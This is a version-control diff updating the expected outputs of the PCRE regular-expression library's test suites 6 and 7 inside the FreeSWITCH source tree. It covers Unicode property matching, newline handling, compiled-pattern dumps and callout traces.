--- freeswitch/branches/seven/libs/pcre/testdata/testoutput6	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput6	2009-08-09 18:53:22 UTC (rev 14472)
@@ -99,7 +99,7 @@
 No match
   
 /^\p{Cs}/8
-    \x{dfff}
+    \?\x{dfff}
  0: \x{dfff}
     ** Failers
 No match
@@ -113,7 +113,7 @@
 No match
     Z
 No match
-    \x{dfff}  
+    \x{e000}  
 No match
   
 /^\p{Lm}/8
@@ -548,73 +548,72 @@
     WXYZ 
 No match
 
-/[\p{L}]/D
+/[\p{L}]/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\p{L}]
- 11  11 Ket
- 14     End
+        Bra
+        [\p{L}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[\p{^L}]/D
+/[\p{^L}]/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\P{L}]
- 11  11 Ket
- 14     End
+        Bra
+        [\P{L}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[\P{L}]/D
+/[\P{L}]/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\P{L}]
- 11  11 Ket
- 14     End
+        Bra
+        [\P{L}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[\P{^L}]/D
+/[\P{^L}]/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\p{L}]
- 11  11 Ket
- 14     End
+        Bra
+        [\p{L}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[abc\p{L}\x{0660}]/8D
+/[abc\p{L}\x{0660}]/8DZ
 ------------------------------------------------------------------
-  0  46 Bra 0
-  3     [a-c\p{L}\x{660}]
- 46  46 Ket
- 49     End
+        Bra
+        [a-c\p{L}\x{660}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 No first char
 No need char
 
-/[\p{Nd}]/8DM
-Memory allocation (code space): 47
+/[\p{Nd}]/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\p{Nd}]
- 11  11 Ket
- 14     End
+        Bra
+        [\p{Nd}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -623,13 +622,12 @@
     1234
  0: 1
 
-/[\p{Nd}+-]+/8DM
-Memory allocation (code space): 48
+/[\p{Nd}+-]+/8DZ
 ------------------------------------------------------------------
-  0  44 Bra 0
-  3     [+\-\p{Nd}]+
- 44  44 Ket
- 47     End
+        Bra
+        [+\-\p{Nd}]+
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -779,48 +777,48 @@
     A\x{391}\x{10427}\x{ff3a}\x{1fb8}
  0: A\x{391}\x{10427}\x{ff3a}\x{1fb8}
 
-/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iD
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3  NC A\x{391}\x{10427}\x{ff3a}\x{1fb0}
- 21  21 Ket
- 24     End
+        Bra
+     NC A\x{391}\x{10427}\x{ff3a}\x{1fb0}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless utf8
 First char = 'A' (caseless)
 No need char
 
-/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8D
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8DZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3     A\x{391}\x{10427}\x{ff3a}\x{1fb0}
- 21  21 Ket
- 24     End
+        Bra
+        A\x{391}\x{10427}\x{ff3a}\x{1fb0}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 'A'
 Need char = 176
 
-/AB\x{1fb0}/8D
+/AB\x{1fb0}/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     AB\x{1fb0}
- 11  11 Ket
- 14     End
+        Bra
+        AB\x{1fb0}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 'A'
 Need char = 176
 
-/AB\x{1fb0}/8Di
+/AB\x{1fb0}/8DZi
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3  NC AB\x{1fb0}
- 11  11 Ket
- 14     End
+        Bra
+     NC AB\x{1fb0}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless utf8
@@ -857,12 +855,12 @@
     \x{e0} 
  0: \x{e0}
 
-/[\x{105}-\x{109}]/8iD
+/[\x{105}-\x{109}]/8iDZ
 ------------------------------------------------------------------
-  0  13 Bra 0
-  3     [\x{104}-\x{109}]
- 13  13 Ket
- 16     End
+        Bra
+        [\x{104}-\x{109}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless utf8
@@ -881,12 +879,12 @@
     \x{10a} 
 No match
     
-/[z-\x{100}]/8iD 
+/[z-\x{100}]/8iDZ 
 ------------------------------------------------------------------
-  0  20 Bra 0
-  3     [Z\x{39c}\x{178}z-\x{101}]
- 20  20 Ket
- 23     End
+        Bra
+        [Z\x{39c}\x{178}z-\x{101}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless utf8
@@ -919,12 +917,12 @@
     y           
 No match
 
-/[z-\x{100}]/8Di
+/[z-\x{100}]/8DZi
 ------------------------------------------------------------------
-  0  20 Bra 0
-  3     [Z\x{39c}\x{178}z-\x{101}]
- 20  20 Ket
- 23     End
+        Bra
+        [Z\x{39c}\x{178}z-\x{101}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless utf8
@@ -1410,4 +1408,353 @@
  1: L=abc
  2: abc
 
+/The next two should be Perl-compatible, but it fails to match \x{e0}. PCRE
+will match it only with UCP support, because without that it has no notion
+of case for anything other than the ASCII letters. / 
+
+/((?i)[\x{c0}])/8
+    \x{c0}
+ 0: \x{c0}
+ 1: \x{c0}
+    \x{e0} 
+ 0: \x{e0}
+ 1: \x{e0}
+
+/(?i:[\x{c0}])/8
+    \x{c0}
+ 0: \x{c0}
+    \x{e0} 
+ 0: \x{e0}
+    
+/^\p{Balinese}\p{Cuneiform}\p{Nko}\p{Phags_Pa}\p{Phoenician}/8
+    \x{1b00}\x{12000}\x{7c0}\x{a840}\x{10900}
+ 0: \x{1b00}\x{12000}\x{7c0}\x{a840}\x{10900}
+
+/The next two are special cases where the lengths of the different cases of the 
+same character differ. The first went wrong with heap frame storage; the 2nd
+was broken in all cases./
+
+/^\x{023a}+?(\x{0130}+)/8i
+  \x{023a}\x{2c65}\x{0130}
+ 0: \x{23a}\x{2c65}\x{130}
+ 1: \x{130}
+  
+/^\x{023a}+([^X])/8i
+  \x{023a}\x{2c65}X
+ 0: \x{23a}\x{2c65}
+ 1: \x{2c65}
+
+/Check property support in non-UTF-8 mode/
+ 
+/\p{L}{4}/
+    123abcdefg
+ 0: abcd
+    123abc\xc4\xc5zz
+ 0: abc\xc4
+
+/\X{1,3}\d/
+  \x8aBCD
+No match
+  
+/\X?\d/
+  \x8aBCD 
+No match
+
+/\P{L}?\d/
+  \x8aBCD 
+No match
+
+/[\PPP\x8a]{1,}\x80/
+    A\x80
+ 0: A\x80
+
+/(?:[\PPa*]*){8,}/
+
+/[\P{Any}]/BZ
+------------------------------------------------------------------
+        Bra
+        [\P{Any}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\P{Any}\E]/BZ
+------------------------------------------------------------------
+        Bra
+        [\P{Any}]
+        Ket
+        End
+------------------------------------------------------------------
+
+/(\P{Yi}+\277)/
+
+/(\P{Yi}+\277)?/
+
+/(?<=\P{Yi}{3}A)X/
+
+/\p{Yi}+(\P{Yi}+)(?1)/
+
+/(\P{Yi}{2}\277)?/
+
+/[\P{Yi}A]/
+
+/[\P{Yi}\P{Yi}\P{Yi}A]/
+
+/[^\P{Yi}A]/
+
+/[^\P{Yi}\P{Yi}\P{Yi}A]/
+
+/(\P{Yi}*\277)*/
+
+/(\P{Yi}*?\277)*/
+
+/(\p{Yi}*+\277)*/
+
+/(\P{Yi}?\277)*/
+
+/(\P{Yi}??\277)*/
+
+/(\p{Yi}?+\277)*/
+
+/(\P{Yi}{0,3}\277)*/
+
+/(\P{Yi}{0,3}?\277)*/
+
+/(\p{Yi}{0,3}+\277)*/
+
+/^[\p{Arabic}]/8
+    \x{60e} 
+ 0: \x{60e}
+    \x{656} 
+ 0: \x{656}
+    \x{657} 
+ 0: \x{657}
+    \x{658} 
+ 0: \x{658}
+    \x{659} 
+ 0: \x{659}
+    \x{65a} 
+ 0: \x{65a}
+    \x{65b} 
+ 0: \x{65b}
+    \x{65c} 
+ 0: \x{65c}
+    \x{65d} 
+ 0: \x{65d}
+    \x{65e} 
+ 0: \x{65e}
+    \x{66a} 
+ 0: \x{66a}
+    \x{6e9} 
+ 0: \x{6e9}
+    \x{6ef}
+ 0: \x{6ef}
+    \x{6fa}  
+ 0: \x{6fa}
+    ** Failers
+No match
+    \x{600}
+No match
+    \x{650}
+No match
+    \x{651}  
+No match
+    \x{652}  
+No match
+    \x{653}  
+No match
+    \x{654} 
+No match
+    \x{655} 
+No match
+    \x{65f}  
+No match
+    
+/^\p{Cyrillic}/8
+    \x{1d2b} 
+ 0: \x{1d2b}
+    
+/^\p{Common}/8
+    \x{589}
+ 0: \x{589}
+    \x{60c}
+ 0: \x{60c}
+    \x{61f}  
+ 0: \x{61f}
+    \x{964}
+ 0: \x{964}
+    \x{965}  
+ 0: \x{965}
+    \x{970}  
+ 0: \x{970}
+
+/^\p{Inherited}/8
+    \x{64b}
+ 0: \x{64b}
+    \x{654}
+ 0: \x{654}
+    \x{655}
+ 0: \x{655}
+    \x{200c} 
+ 0: \x{200c}
+    ** Failers
+No match
+    \x{64a}
+No match
+    \x{656}     
+No match
+
+/^\p{Shavian}/8
+    \x{10450}
+ 0: \x{10450}
+    \x{1047f}
+ 0: \x{1047f}
+    
+/^\p{Deseret}/8
+    \x{10400}
+ 0: \x{10400}
+    \x{1044f}
+ 0: \x{1044f}
+    
+/^\p{Osmanya}/8
+    \x{10480}
+ 0: \x{10480}
+    \x{1049d}
+ 0: \x{1049d}
+    \x{104a0}
+ 0: \x{104a0}
+    \x{104a9}
+ 0: \x{104a9}
+    ** Failers
+No match
+    \x{1049e}
+No match
+    \x{1049f}
+No match
+    \x{104aa}           
+No match
+
+/\p{Zl}{2,3}+/8BZ
+------------------------------------------------------------------
+        Bra
+        prop Zl {2}
+        prop Zl ?+
+        Ket
+        End
+------------------------------------------------------------------
+    \xe2\x80\xa8\xe2\x80\xa8
+ 0: \x{2028}\x{2028}
+    \x{2028}\x{2028}\x{2028}
+ 0: \x{2028}\x{2028}\x{2028}
+    
+/\p{Zl}/8BZ
+------------------------------------------------------------------
+        Bra
+        prop Zl
+        Ket
+        End
+------------------------------------------------------------------
+
+/\p{Lu}{3}+/8BZ
+------------------------------------------------------------------
+        Bra
+        prop Lu {3}
+        Ket
+        End
+------------------------------------------------------------------
+
+/\pL{2}+/8BZ
+------------------------------------------------------------------
+        Bra
+        prop L {2}
+        Ket
+        End
+------------------------------------------------------------------
+
+/\p{Cc}{2}+/8BZ
+------------------------------------------------------------------
+        Bra
+        prop Cc {2}
+        Ket
+        End
+------------------------------------------------------------------
+
+/\x{c0}+\x{116}+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+ 0: \x{c0}\x{e0}\x{116}\x{117}
+
+/[\x{c0}\x{116}]+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+ 0: \x{c0}\x{e0}\x{116}\x{117}
+
+/\p{Carian}\p{Cham}\p{Kayah_Li}\p{Lepcha}\p{Lycian}\p{Lydian}\p{Ol_Chiki}\p{Rejang}\p{Saurashtra}\p{Sundanese}\p{Vai}/8
+    \x{102A4}\x{AA52}\x{A91D}\x{1C46}\x{10283}\x{1092E}\x{1C6B}\x{A93B}\x{A8BF}\x{1BA0}\x{A50A}====
+ 0: \x{102a4}\x{aa52}\x{a91d}\x{1c46}\x{10283}\x{1092e}\x{1c6b}\x{a93b}\x{a8bf}\x{1ba0}\x{a50a}
+
+/\x{a77d}\x{1d79}/8i
+    \x{a77d}\x{1d79}
+ 0: \x{a77d}\x{1d79}
+    \x{1d79}\x{a77d} 
+ 0: \x{1d79}\x{a77d}
+
+/\x{a77d}\x{1d79}/8
+    \x{a77d}\x{1d79}
+ 0: \x{a77d}\x{1d79}
+    ** Failers 
+No match
+    \x{1d79}\x{a77d} 
+No match
+
+/(A)\1/8i
+    AA
+ 0: AA
+ 1: A
+    Aa
+ 0: Aa
+ 1: A
+    aa
+ 0: aa
+ 1: a
+    aA
+ 0: aA
+ 1: a
+
+/(\x{de})\1/8i
+    \x{de}\x{de}
+ 0: \x{de}\x{de}
+ 1: \x{de}
+    \x{de}\x{fe}
+ 0: \x{de}\x{fe}
+ 1: \x{de}
+    \x{fe}\x{fe}
+ 0: \x{fe}\x{fe}
+ 1: \x{fe}
+    \x{fe}\x{de}
+ 0: \x{fe}\x{de}
+ 1: \x{fe}
+
+/(\x{10a})\1/8i
+    \x{10a}\x{10a}
+ 0: \x{10a}\x{10a}
+ 1: \x{10a}
+    \x{10a}\x{10b}
+ 0: \x{10a}\x{10b}
+ 1: \x{10a}
+    \x{10b}\x{10b}
+ 0: \x{10b}\x{10b}
+ 1: \x{10b}
+    \x{10b}\x{10a}
+ 0: \x{10b}\x{10a}
+ 1: \x{10b}
+    
+/The next two tests are for property support in non-UTF-8 mode/
+
+/(?:\p{Lu}|\x20)+/
+    \x41\x20\x50\xC2\x54\xC9\x20\x54\x4F\x44\x41\x59
+ 0: A P\xc2T\xc9 TODAY
+
+/[\p{Lu}\x20]+/
+    \x41\x20\x50\xC2\x54\xC9\x20\x54\x4F\x44\x41\x59
+ 0: A P\xc2T\xc9 TODAY
+
 / End of testinput6 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput7 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput7	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput7	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2735,8 +2735,7 @@
 No match
 
 /^a	b
-  
-    c/x
+      c/x
     abc
  0: abc
 
@@ -2974,7 +2973,7 @@
     {4,5a}bc
  0: {4,5a}bc
 
-/^a.b/
+/^a.b/<lf>
     a\rb
  0: a\x0db
     *** Failers
@@ -3040,9 +3039,9 @@
     abcdefghijk\12S
  0: abcdefghijk\x0aS
 
-/ab\gdef/
-    abgdef
- 0: abgdef
+/ab\idef/
+    abidef
+ 0: abidef
 
 /a{0}bc/
     bc
@@ -4574,8 +4573,6 @@
     abq
 No match
 
-/ab{1,}bc/
-
 /ab+bc/
     abbbbc
  0: abbbbc
@@ -6601,7 +6598,7 @@
     xyz\rabc\<lf>
 No match
     
-/abc$/m
+/abc$/m<lf>
     xyzabc
  0: abc
     xyzabc\n 
@@ -6657,7 +6654,7 @@
     xyz\rabcdef
 No match
     
-/.*/
+/.*/<lf>
     abc\ndef
  0: abc
  1: ab
@@ -6729,4 +6726,648 @@
     abc\r\ndef
  0: abc\x0d\x0adef
 
+/^\w+=.*(\\\n.*)*/
+    abc=xyz\\\npqr
+ 0: abc=xyz\\x0apqr
+ 1: abc=xyz\\x0apq
+ 2: abc=xyz\\x0ap
+ 3: abc=xyz\\x0a
+ 4: abc=xyz\
+ 5: abc=xyz
+ 6: abc=xy
+ 7: abc=x
+ 8: abc=
+
+/^(a()*)*/
+    aaaa
+ 0: aaaa
+ 1: aaa
+ 2: aa
+ 3: a
+ 4: 
+
+/^(?:a(?:(?:))*)*/
+    aaaa
+ 0: aaaa
+ 1: aaa
+ 2: aa
+ 3: a
+ 4: 
+
+/^(a()+)+/
+    aaaa
+ 0: aaaa
+ 1: aaa
+ 2: aa
+ 3: a
+
+/^(?:a(?:(?:))+)+/
+    aaaa
+ 0: aaaa
+ 1: aaa
+ 2: aa
+ 3: a
+
+/(a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?>a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?:a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/^a.b/<lf>
+    a\rb
+ 0: a\x0db
+    a\nb\<cr> 
+ 0: a\x0ab
+    ** Failers
+No match
+    a\nb
+No match
+    a\nb\<any>
+No match
+    a\rb\<cr>   
+No match
+    a\rb\<any>   
+No match
+
+/^abc./mgx<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x85abc7 JUNK
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+
+/abc.$/mgx<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc9
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc9
+
+/^a\Rb/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b   
+ 0: a\x85b
+    ** Failers
+No match
+    a\n\rb    
+No match
+
+/^a\R*b/<bsr_unicode>
+    ab
+ 0: ab
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b   
+ 0: a\x85b
+    a\n\rb    
+ 0: a\x0a\x0db
+    a\n\r\x85\x0cb 
+ 0: a\x0a\x0d\x85\x0cb
+
+/^a\R+b/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b   
+ 0: a\x85b
+    a\n\rb    
+ 0: a\x0a\x0db
+    a\n\r\x85\x0cb 
+ 0: a\x0a\x0d\x85\x0cb
+    ** Failers
+No match
+    ab  
+No match
+    
+/^a\R{1,3}b/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\n\rb
+ 0: a\x0a\x0db
+    a\n\r\x85b
+ 0: a\x0a\x0d\x85b
+    a\r\n\r\nb 
+ 0: a\x0d\x0a\x0d\x0ab
+    a\r\n\r\n\r\nb 
+ 0: a\x0d\x0a\x0d\x0a\x0d\x0ab
+    a\n\r\n\rb
+ 0: a\x0a\x0d\x0a\x0db
+    a\n\n\r\nb 
+ 0: a\x0a\x0a\x0d\x0ab
+    ** Failers
+No match
+    a\n\n\n\rb
+No match
+    a\r
+No match
+
+/^a[\R]b/<bsr_unicode>
+    aRb
+ 0: aRb
+    ** Failers
+No match
+    a\nb  
+No match
+
+/.+foo/
+    afoo
+ 0: afoo
+    ** Failers 
+No match
+    \r\nfoo 
+No match
+    \nfoo 
+No match
+
+/.+foo/<crlf>
+    afoo
+ 0: afoo
+    \nfoo 
+ 0: \x0afoo
+    ** Failers 
+No match
+    \r\nfoo 
+No match
+
+/.+foo/<any>
+    afoo
+ 0: afoo
+    ** Failers 
+No match
+    \nfoo 
+No match
+    \r\nfoo 
+No match
+
+/.+foo/s
+    afoo
+ 0: afoo
+    \r\nfoo 
+ 0: \x0d\x0afoo
+    \nfoo 
+ 0: \x0afoo
+
+/^$/mg<any>
+    abc\r\rxyz
+ 0: 
+    abc\n\rxyz  
+ 0: 
+    ** Failers 
+No match
+    abc\r\nxyz
+No match
+
+/^X/m
+    XABC
+ 0: X
+    ** Failers 
+No match
+    XABC\B
+No match
+
+/(?m)^$/<any>g+
+    abc\r\n\r\n
+ 0: 
+ 0+ \x0d\x0a
+
+/(?m)^$|^\r\n/<any>g+ 
+    abc\r\n\r\n
+ 0: \x0d\x0a
+ 0+ 
+ 1: 
+    
+/(?m)$/<any>g+ 
+    abc\r\n\r\n
+ 0: 
+ 0+ \x0d\x0a\x0d\x0a
+ 0: 
+ 0+ \x0d\x0a
+ 0: 
+ 0+ 
+
+/(?|(abc)|(xyz))/
+   >abc<
+ 0: abc
+   >xyz< 
+ 0: xyz
+
+/(x)(?|(abc)|(xyz))(x)/
+    xabcx
+ 0: xabcx
+    xxyzx 
+ 0: xxyzx
+
+/(x)(?|(abc)(pqr)|(xyz))(x)/
+    xabcpqrx
+ 0: xabcpqrx
+    xxyzx 
+ 0: xxyzx
+
+/(?|(abc)|(xyz))(?1)/
+    abcabc
+ 0: abcabc
+    xyzabc 
+ 0: xyzabc
+    ** Failers 
+No match
+    xyzxyz 
+No match
+ 
+/\H\h\V\v/
+    X X\x0a
+ 0: X X\x0a
+    X\x09X\x0b
+ 0: X\x09X\x0b
+    ** Failers
+No match
+    \xa0 X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/ 
+    \x09\x20\xa0X\x0a\x0b\x0c\x0d\x0a
+ 0: \x09 \xa0X\x0a\x0b\x0c\x0d
+ 1: \x09 \xa0X\x0a\x0b\x0c
+    \x09\x20\xa0\x0a\x0b\x0c\x0d\x0a
+ 0: \x09 \xa0\x0a\x0b\x0c\x0d
+ 1: \x09 \xa0\x0a\x0b\x0c
+    \x09\x20\xa0\x0a\x0b\x0c
+ 0: \x09 \xa0\x0a\x0b\x0c
+    ** Failers 
+No match
+    \x09\x20\xa0\x0a\x0b
+No match
+     
+/\H{3,4}/
+    XY  ABCDE
+ 0: ABCD
+ 1: ABC
+    XY  PQR ST 
+ 0: PQR
+    
+/.\h{3,4}./
+    XY  AB    PQRS
+ 0: B    P
+ 1: B    
+
+/\h*X\h?\H+Y\H?Z/
+    >XNNNYZ
+ 0: XNNNYZ
+    >  X NYQZ
+ 0:   X NYQZ
+    ** Failers
+No match
+    >XYZ   
+No match
+    >  X NY Z
+No match
+
+/\v*X\v?Y\v+Z\V*\x0a\V+\x0b\V{2,3}\x0c/
+    >XY\x0aZ\x0aA\x0bNN\x0c
+ 0: XY\x0aZ\x0aA\x0bNN\x0c
+    >\x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+ 0: \x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+
+/.+A/<crlf>
+    \r\nA
+No match
+    
+/\nA/<crlf>
+    \r\nA 
+ 0: \x0aA
+
+/[\r\n]A/<crlf>
+    \r\nA 
+ 0: \x0aA
+
+/(\r|\n)A/<crlf>
+    \r\nA 
+ 0: \x0aA
+
+/a\Rb/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    ** Failers
+No match
+    a\x85b
+No match
+    a\x0bb     
+No match
+
+/a\Rb/I<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x85b
+ 0: a\x85b
+    a\x0bb     
+ 0: a\x0bb
+    ** Failers 
+No match
+    a\x85b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R?b/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    ** Failers
+No match
+    a\x85b
+No match
+    a\x0bb     
+No match
+
+/a\R?b/I<bsr_unicode>
+Capturing subpattern count = 0
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\rb
+ 0: a\x0db
+    a\nb
+ 0: a\x0ab
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x85b
+ 0: a\x85b
+    a\x0bb     
+ 0: a\x0bb
+    ** Failers 
+No match
+    a\x85b\<bsr_anycrlf>
+No match
+    a\x0bb\<bsr_anycrlf>
+No match
+    
+/a\R{2,4}b/I<bsr_anycrlf>
+Capturing subpattern count = 0
+Partial matching not supported
+Options: bsr_anycrlf
+First char = 'a'
+Need char = 'b'
+    a\r\n\nb
+ 0: a\x0d\x0a\x0ab
+    a\n\r\rb
+ 0: a\x0a\x0d\x0db
+    a\r\n\r\n\r\n\r\nb
+ 0: a\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0ab
+    ** Failers
+No match
+    a\x85\85b
+No match
+    a\x0b\0bb     
+No match
+
+/a\R{2,4}b/I<bsr_unicode>
+Capturing subpattern count = 0
+Partial matching not supported
+Options: bsr_unicode
+First char = 'a'
+Need char = 'b'
+    a\r\rb
+ 0: a\x0d\x0db
+    a\n\n\nb
+ 0: a\x0a\x0a\x0ab
+    a\r\n\n\r\rb
+ 0: a\x0d\x0a\x0a\x0d\x0db
+    a\x85\85b
+No match
+    a\x0b\0bb     
+No match
+    ** Failers 
+No match
+    a\r\r\r\r\rb 
+No match
+    a\x85\85b\<bsr_anycrlf>
+No match
+    a\x0b\0bb\<bsr_anycrlf>
+No match
+    
+/a(?!)|\wbc/
+    abc 
+ 0: abc
+
+/a[]b/<JS>
+    ** Failers
+No match
+    ab
+No match
+
+/a[]+b/<JS>
+    ** Failers
+No match
+    ab 
+No match
+
+/a[]*+b/<JS>
+    ** Failers
+No match
+    ab 
+No match
+
+/a[^]b/<JS>
+    aXb
+ 0: aXb
+    a\nb 
+ 0: a\x0ab
+    ** Failers
+No match
+    ab  
+No match
+    
+/a[^]+b/<JS> 
+    aXb
+ 0: aXb
+    a\nX\nXb 
+ 0: a\x0aX\x0aXb
+    ** Failers
+No match
+    ab  
+No match
+
+/X$/E
+    X
+ 0: X
+    ** Failers 
+No match
+    X\n 
+No match
+
+/X$/
+    X
+ 0: X
+    X\n 
+ 0: X
+
+/xyz/C
+  xyz 
+--->xyz
+ +0 ^       x
+ +1 ^^      y
+ +2 ^ ^     z
+ +3 ^  ^    
+ 0: xyz
+  abcxyz 
+--->abcxyz
+ +0    ^       x
+ +1    ^^      y
+ +2    ^ ^     z
+ +3    ^  ^    
+ 0: xyz
+  abcxyz\Y
+--->abcxyz
+ +0 ^          x
+ +0  ^         x
+ +0   ^        x
+ +0    ^       x
+ +1    ^^      y
+ +2    ^ ^     z
+ +3    ^  ^    
+ 0: xyz
+  ** Failers 
+No match
+  abc
+No match
+  abc\Y
+--->abc
+ +0 ^       x
+ +0  ^      x
+ +0   ^     x
+ +0    ^    x
+No match
+  abcxypqr  
+No match
+  abcxypqr\Y  
+--->abcxypqr
+ +0 ^            x
+ +0  ^           x
+ +0   ^          x
+ +0    ^         x
+ +1    ^^        y
+ +2    ^ ^       z
+ +0     ^        x
+ +0      ^       x
+ +0       ^      x
+ +0        ^     x
+ +0         ^    x
+No match
+  
+/(?C)ab/
+  ab
+--->ab
+  0 ^      a
+ 0: ab
+  \C-ab
+ 0: ab
+  
+/ab/C
+  ab
+--->ab
+ +0 ^      a
+ +1 ^^     b
+ +2 ^ ^    
+ 0: ab
+  \C-ab    
+ 0: ab
+
+/^"((?(?=[a])[^"])|b)*"$/C
+    "ab"
+--->"ab"
+ +0 ^        ^
+ +1 ^        "
+ +2 ^^       ((?(?=[a])[^"])|b)*
++21 ^^       "
+ +3 ^^       (?(?=[a])[^"])
++18 ^^       b
+ +5 ^^       (?=[a])
+ +8  ^       [a]
++11  ^^      )
++12 ^^       [^"]
++16 ^ ^      )
++17 ^ ^      |
++21 ^ ^      "
+ +3 ^ ^      (?(?=[a])[^"])
++18 ^ ^      b
+ +5 ^ ^      (?=[a])
+ +8   ^      [a]
++19 ^  ^     )
++21 ^  ^     "
+ +3 ^  ^     (?(?=[a])[^"])
++18 ^  ^     b
+ +5 ^  ^     (?=[a])
+ +8    ^     [a]
++17 ^  ^     |
++22 ^   ^    $
++23 ^   ^    
+ 0: "ab"
+    \C-"ab"
+ 0: "ab"
+
 / End of testinput7 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput8 (14471 => 14472)


